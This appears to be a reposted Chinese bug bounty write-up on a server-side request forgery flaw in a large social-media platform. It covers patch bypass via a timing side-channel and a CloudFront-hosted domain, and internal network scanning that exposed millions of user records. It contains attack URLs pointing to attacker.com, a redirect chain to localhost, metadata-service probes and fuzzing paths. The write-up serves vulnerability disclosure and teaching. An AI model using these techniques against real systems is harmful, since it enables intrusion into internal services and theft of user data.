介绍
此错误是在拥有超过 8000 万活跃用户的公共 HackerOne 程序中发现的。本文将该过程分为三个部分:修复 Bug 之前、修复 Bug 之后和利用。
修复 Bug 之前
目标应用程序包括用于共享模板的社交媒体功能。在查看 JavaScript 代码时,我发现了一个与工作区相关的动态端点,如下所示:
o={ ... WORKSPACE:"/api/client/workspaces/find/{hostName}", ... }
这对我来说很突出,因为它似乎是一个动态端点,其中占位符可能意味着要被特定值替换。{hostName}
此社交媒体平台的 API 根是:
https://target.com/social-media-name/
因此,我制作了一个这样的 URL,并将该值设置为与目标的主机名相同:hostName
https://target.com/social-media-name/api/client/workspaces/find/target.com
作为回应,我收到了这样的内容:
我想到的第一件事是测试将 更改为我自己的服务器的主机名,以查看是否会发送请求。因此,我将 URL 修改为:hostName
https://target.com/social-media-name/api/client/workspaces/find/attacker.com
是的,我的服务器收到了请求,我能够查看服务器的响应。
但这个请求的有趣之处在于,我意识到已经发现了一个 Account Takeover 漏洞。你问怎么做到的?
当我将 the 设置为我自己的时,一个请求被发送到我的服务器,我注意到所有用户的 cookie 都包含在请求中。所以,场景是这样的:hostName
- 受害者打开:
https://target.com/social-media-name/api/client/workspaces/find/attacker.com
- 他们的 Cookie 被发送到 。
attacker.com
这意味着我能够拦截受害者的 cookie,从而导致潜在的帐户接管。
但是,让我们回到故事的下一部分。发送到我的服务器的请求实际上是定向到我服务器上的特定 URL。它被发送到:
https://attacker.com/api/v1/workspaces/find/
这表明请求正在路由到我服务器上的特定终端节点。
到目前为止,我几乎成功地从服务器发送了任意请求。因此,我开始测试,看看是否可以向私有 IP 发送请求,例如环回地址。我试过了:
https://target.com/social-media-name/api/client/workspaces/find/127.0.0.1
但是,响应中出现以下错误:
connect ECONNREFUSED 127.0.0.1:443
事实上,这个错误与 Node.js 中的 Axios 库有关,并且存在一个问题,即请求似乎被发送到了端口 443。因此,我使用在端口 443 (HTTPS) 上没有运行服务的主机名执行了另一项测试,以查看服务器将如何响应。
响应:
write EPROTO 183B0000:error:0A00010B:SSL routines:ssl3_get_record:wrong version number:c:wsdepsopensslopensslsslrecordssl3_record.c:355:
现在,我对应用程序的行为有了更好的理解,我开始实现在后端编写的代码,以便更深入地了解该过程及其工作原理。
最后,我实现了以下代码:
const axios = require("axios"); constHOST = "{hostName}"; const sendRequest = asyncfunction () { try { const response = awaitaxios({ method: "get", baseURL: "https://" + HOST, url: `/api/v1/workspaces/find/${HOST}`, }); console.log("Response Data: ", response.data); } catch (error) { console.error("Error: ", error.message); } };
在此代码中,URL 中的协议设置为 ,并且它是硬编码的,因此不可修改。这意味着,此代码发送的任何请求都将始终尝试使用 HTTPS,无论目标是否支持 HTTPS。https
现在,我有个问题。当协议被硬编码时,如何使用自定义协议发送我的请求?
事实上,最有趣的测试之一是查看后端是否遵循重定向。默认情况下,Axios 会自动跟踪重定向。如果服务器使用 3xx 状态代码进行响应,则此行为允许将请求重定向到新 URL,Axios 无需任何其他配置即可处理此问题。
因此,在我的服务器上,我在端点处实现了一个状态代码为 302 的重定向,以测试是否会遵循重定向。设置是这样的:/api/v1/workspaces/find/
https://attacker.com/api/v1/workspaces/find/ -> 302 -> http://test.com
然后,我发送了以下请求:
https://target.com/social-media-name/api/client/workspaces/find/attacker.com
是的,我收到的响应显示 ,表明重定向已成功跟进。test.com
现在,我用 :test.com
localhost
- 攻击者发起请求:攻击者向目标应用程序发送请求:
https://target.com/social-media-name/api/client/workspaces/find/attacker.com
- 服务器处理请求:目标服务器处理此请求,并作为其内部逻辑的一部分,向攻击者的服务器发出请求:
https://attacker.com/api/v1/workspaces/find/
- 攻击者的服务器重定向和服务器遵循重定向:攻击者的服务器被配置为通过重定向到敏感的内部地址进行响应,而目标服务器遵循此重定向:
http://localhost
- 返回给攻击者的响应
:来自内部资源的响应随后被发送回给攻击者。
要防止 Axios 跟踪重定向,您可以在请求配置中将选项设置为 。
maxRedirects
0
需要注意的重要一点是,默认情况下,Axios 不支持 HTTP 和 HTTPS 以外的协议,例如 、 、 等。因此,我只能发送 HTTP 或 HTTPS 请求。file
gopher
ftp
在配置我的服务器以将请求重定向到 后,我观察到应用程序没有收到任何响应。http://localhost
为了识别各种端口上的活动服务,我开发了一个脚本来扫描常用端口。此过程显示服务正在以下端口上运行:
http://localhost:3000
http://localhost:9090
经过进一步调查,我发现运行在该服务上的服务对应于活动的社交媒体应用程序,返回相同的内容。相反,访问会导致 404 Not Found。localhost:3000
localhost:9090
在 上启动模糊测试过程后,我发现了端点 。此终端节点通常与 Prometheus 关联。http://localhost:9090/FUZZ
http://localhost:9090/metrics
Prometheus 是一个开源监控和警报工具包,可公开有关自身及其监控系统的指标。
访问终端节点返回了大量日志数据。/metrics
本节的延续在 Exploitation 部分提到。
修复 bug 后
修补后的 bug 是如何实现的?
似乎只允许我向 发出请求,任何其他请求都会导致响应。此外,没有向我的服务器发送任何请求。这是它的样子:target.com
404
https://target.com/social-media-name/api/client/workspaces/find/target.com
→200
https://target.com/social-media-name/api/client/workspaces/find/attacker.com
→404
似乎在发送请求之前执行了验证。如果允许,则处理请求并显示响应。hostName
理解这种验证有点挑战性,因此我需要进行更深入的测试。同样重要的是要注意,如果域无效,则不会执行 DNS 查找。我开始用它的子域替换,但我注意到一些奇怪的事情:target.com
sub1.target.com→https://target.com/social-media-name/api/client/workspaces/find/
404
sub2.target.com→https://target.com/social-media-name/api/client/workspaces/find/
404
sub3.target.com→https://target.com/social-media-name/api/client/workspaces/find/
200
令人惊讶的是,其中一个子域返回了响应并显示内容,而其他子域返回了 。但是为什么其他子域会导致 ?200
404
404
为了回答这个问题,我开始复制服务器发送到子域的确切请求。当我自己发送这些请求时,除了状态代码外,一切似乎都很正常,状态代码变化如下:
sub1.targte.comhttps://
/api/v1/workspaces/find/
→404
sub2.targte.comhttps://
/api/v1/workspaces/find/
→504
sub3.targte.comhttps://
/api/v1/workspaces/find/
→200
为什么?因为大多数子域上不存在这些路径,但即使对于不存在的路径,也会返回响应。sub3
200
这导致了以下结论:
如果 的状态码不是 2xx,则不会返回该请求的响应,并且会向我发送一个没有响应正文的 404 状态码。但是,如果的状态代码为 2xx,则返回该请求的响应,并将 200 状态代码发回给我。sub.target.com
sub.target.com
到目前为止,我已经了解到,在这些情况下,返回 a 时没有响应正文:404
- 如果主机名有效,但发送到的请求未返回 2xx 状态代码。
https://hostname/api/v1/workspaces/find/
-
如果主机名无效。
现在我知道请求已发送到 。我问自己,有没有验证域名的白名单。*.target.com
因此,我使用了之前收集的数据,并将其替换为属于此目标的域(返回 for 的域)。结果很有趣。其中一些域返回了 ,但有一个域(完全不同)返回了状态代码和响应:target.com
200
/api/v1/workspaces/find/
404
200
https://target.com/social-media-name/api/client/workspaces/find/secondary-domain.com -> 200
现在,我几乎可以肯定该应用程序正在使用白名单来验证域。
如果此列表中的所有域都属于目标,我该怎么办?我想到了两个想法:
-
如果我可以在其中一个有效域上利用子域接管,我或许能够利用当前的漏洞。 -
找到一个有效的域,我可以在其中一个子域上部署自己的服务。
我开始研究选项二,但有一个问题。如何判断某个域名是否在白名单中,以及是否可以将我的服务部署在白名单中?
到目前为止,方法是检查域是否返回了发送到 的请求,这将确认该域在白名单中。但是,这种方法不是很可靠。200
http://domain/api/v1/workspaces/find/
所以,我首先尝试看看我是否能识别出我之前提到的两种回答之间的任何区别。404
问题是:
当域有效但请求的路径 () 未返回 2xx 状态代码 (1) 时收到 404 与域本身根本无效时收到 404 (2) 是否有区别?http://valid-domain/api/v1/workspaces/find/
向我显示的每个服务器响应都包含一个名为 的标头,其中包含一个数值。这个标头激起了我的兴趣,因为它表示上游主机处理请求所花费的时间(以毫秒为单位),以及 Envoy 代理和上游主机之间的网络延迟。X-Envoy-Upstream-Service-Time
Envoy 代理充当大规模微服务架构的数据平面来管理网络流量。
我假设,如果服务器在域上执行验证,则对 Envoy 代理的响应时间可能会因验证结果而异。例如,如果域有效并且请求已发送到该域,则与域无效且根本没有发送请求时相比,该过程应花费更长的时间。
我开始分析和比较不同情况下该标头的值。
我编写了一个脚本来执行此分析,结果如下:
- 当域完全无效时
(例如,attacker.com):响应时间在 7-16 毫秒之间。 - 当它是有效域的子域但未在其上设置 IP 时
(例如,noip.target.com):响应时间在 10-20 毫秒之间。 - 当子域有效但返回非 2xx
时(例如,sub1.target.com):响应时间超过 20 毫秒。 - 当域有效并返回 200
(例如,target.com)时:响应时间超过 500 毫秒。
从技术角度来看,由于主机名无效,因此不会发起请求,也不会执行负责发送请求的函数,从而减少了整体处理时间。为了更好地理解,代码的实现方式如下:
const axios = require("axios"); constHOST = "{hostName}"; const hostNameValidator = function (hostName) { // ... // Return true if the hostName is valid and return false if the hostName is invalid }; const sendRequest = asyncfunction (hostName) { try { const response = awaitaxios({ method: "get", baseURL: "https://" + hostName, url: `/api/v1/workspaces/find/${hostName}`, // maxRedirects: 0 }); console.log("Response Data: ", response.data); } catch (error) { console.error("Error: ", error.message); } }; if (hostNameValidator(HOST)) { sendRequest(HOST); } else { console.log("Invalid Host: ", HOST); }
在此代码中,如果主机名有效,则调用该函数,这会增加处理时间。如果主机名无效,则不会调用该函数,从而加快执行速度。sendRequest
sendRequest
现在,我找到了一个非常好的方法来确定域是否有效,以及是否正在向该域发送请求。我需要做的就是按照以下步骤作:
-
向此 URL 发送请求,其中包含我要检查的主机名:
https://target.com/social-media-name/api/client/workspaces/find/test.com
2. 检查响应标头,查看该值是否大于 20。但是,仅检查一个请求是不够的;该值应为平均值。为了简化此作,我开发了一个脚本来分析有问题的域。X-Envoy-Upstream-Service-Time
正如我之前提到的,我需要检查是否存在有效的域,同时,我可以在其子域之一上部署我的服务。因此,我决定首先找到一种快速有效的方法来识别此类域:
-
我首先收集了与此目标相关的所有域的所有子域。 - 接下来,我筛选出具有 CNAME 记录的子域并提取这些记录的目标值。例如,子域有一条指向 .最后,我创建了一个如下所示的域列表:
community.target.com
target-community.insided.com
target-community.insided.com xxxxx.cloudfront.net target.github.io target.zendesk.com ...
3. 然后,我开始使用我之前描述的 timing 技术来分析这些域,以确定哪些域是有效的。
是的,它们中的大多数都是无效的,但完全有效,并且对代理的平均上游响应时间超过 20 毫秒。*.cloudfront.net
Amazon CloudFront 是一种内容分发网络 (CDN),它通过边缘站点网络分发内容来加快内容分发速度。您可以创建 CloudFront 分配,以便向全球用户高效地提供您的内容(例如从服务器或 S3 存储桶),从而减少延迟。
现在,我在 CloudFront 中创建了一个直接指向我的域 attacker.com 的分配,如下所示:
xxxattackerxxx.cloudfront.net == attacker.com
最后:
https://target.com/social-media-name/api/client/workspaces/find/xxxattackerxxx.cloudfront.net
是的,一切都完全按照我的预期进行。现在,请求已发送到我的服务器 (),并返回了我设置的内容。这意味着我可以再次在我的服务器上处理重定向并重定向到内部 IP。attacker.com
现在我已经能够再次重现该错误,并且可以进入开发阶段。
开发
最初,我需要在专用网络中发现更多 IP 以识别其他服务。因此,我首先扫描了一些默认 IP 范围,例如 Docker 默认 IP 范围。然而,我什么也没找到。
利用 SSRF 漏洞的众所周知的方法之一是访问云元数据服务。由于此应用程序托管在 AWS 上,因此我尝试通过向 上的敏感终端节点(如 .然而,所有这些尝试都得到了回应。http://169.254.169.254/
http://169.254.169.254/latest/user-data
404
值得一提的是,由于日志可在 中访问,因此我可以验证请求的实际状态代码。当应用程序为http://localhost:9090/metrics
404
2xx
我的请求的状态代码为 。http://169.254.169.254/latest/*
401
但是为什么?这是因为 AWS 的安全措施旨在防止在 SSRF 利用期间泄露敏感信息。具体来说,这种保护是实例元数据服务版本 2 (IMDSv2) 的一部分,它要求满足特定条件才能访问敏感终端节点。
详细信息:实例元数据服务版本 2 (IMDSv2)
在 Axios 库中,如果无法访问网络内的 IP 地址,Axios 将触发超时。此超时的持续时间取决于 Axios 中设置的超时配置。要确定 IP 是否可访问,请求必须在超时期限内成功完成。成功的响应表示 IP 可访问,而超时则表示 IP 无法访问。例如:
- http://172.31.53.181:2888
→ ~8 秒后超时 - http://172.31.22.220:80
~1 秒内→响应
在无法从默认 IP 范围获取结果后,如前所述,我再次查看了 http://localhost:9090/metrics 中的日志,并注意到向 172.31.49.66 发送了一个请求。此外,我还遇到了一个结构为 的域,这表明 Kubernetes 正在使用中。xxx.xxx.svc.cluster.local
我开始使用默认的 Kubernetes 相关域进行测试,但没有取得显著的结果。为了扩大我对潜在服务的发现,我决定采用以下两种方法:
- 跨范围执行 HTTP 扫描以识别可访问的终端节点。
172.31.0.0/16
- 对 执行 DNS 暴力攻击,主要针对基于 HTTP 的服务。
xxx.xxx.svc.cluster.local
我编写了一个脚本来自动化范围的扫描过程以及常用端口,从而在进行手动测试的同时实现连续扫描。在自动化运行时,我开始考虑如何访问应用程序中的 IP,这些 IP 托管服务,而不必扫描较大的 IP 范围。我想出了以下想法:172.31.0.0/16
-
解析所有目标域中子域的所有 IP。 -
筛选出私有 IP。 -
验证剩余的 IP。
我按照这三个步骤作,确定了几个 IP 在 172.31.0.0/16 范围内的域,包括:
-
internal-service1.target.com → 172.31.11.190 -
internal-service2.target.com → 172.31.29.14 -
…
其中一些域托管敏感服务,例如:
-
internal-service1.target.com → 172.31.11.190 → Nexus 代理 -
internal-service2.target.com → 172.31.29.14 → vminsert -
internal-service3.target.com → 172.31.12.20 → Pushgateway -
internal-service4.target.com → 172.31.55.203 →警报管理器 -
…
在 internal-service3.target.com 上,我发现了几个 Kubernetes 命名空间和服务名称。利用这些信息,我通过按照以下模式以编程方式生成内部 Kubernetes 域名,解决了第 2 点(对 执行 DNS 暴力攻击):xxx.xxx.svc.cluster.local
<service-name>.<namespace>.svc.cluster.local
我使用上面的模式创建了一个域列表并开始调查这些域,但我仍然没有找到任何有趣或有用的内容。
但是,当我向 internal-service.target.com:80 发送请求时,我收到了响应:这表明服务可能正在运行,因此我继续进行模糊测试攻击:It's alive!
http://internal-service.target.com:80/FUZZ
运行模糊测试攻击后,我找到了一条路径:
http://internal-service.target.com:80/applications
响应包含大量用户数据。
有趣的是,这个端点在主应用程序中有一个对应的端点:
https://target.com:80/api/v1/profile/applications
但是,虽然主应用程序中的终端节点仅返回已登录用户的数据(经过适当的授权检查),但终端节点 at 没有任何授权机制。因此,我可以访问所有用户的数据。此外,我还可以通过以下 URL 模式访问单个用户数据:http://internal-service.target.com:80/applications
http://internal-service.target.com:80/applications/<ID>
在这个阶段,我从数百万用户那里获得了信息,开发阶段以重大影响结束。
此外,正在运行的自动化继续发现大量包含敏感服务的地址,例如管理面板、敏感日志文件和监控面板。
结论
解决这个错误以意想不到的方式对我提出了挑战,并促使我学习更多关于编程、DevOps 和安全性的知识。我在这篇文章中分享了我的旅程和我学到的经验教训。
原文始发于微信公众号(红云谈安全):全面的 SSRF 可访问数百万用户的记录和多个内部面板
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论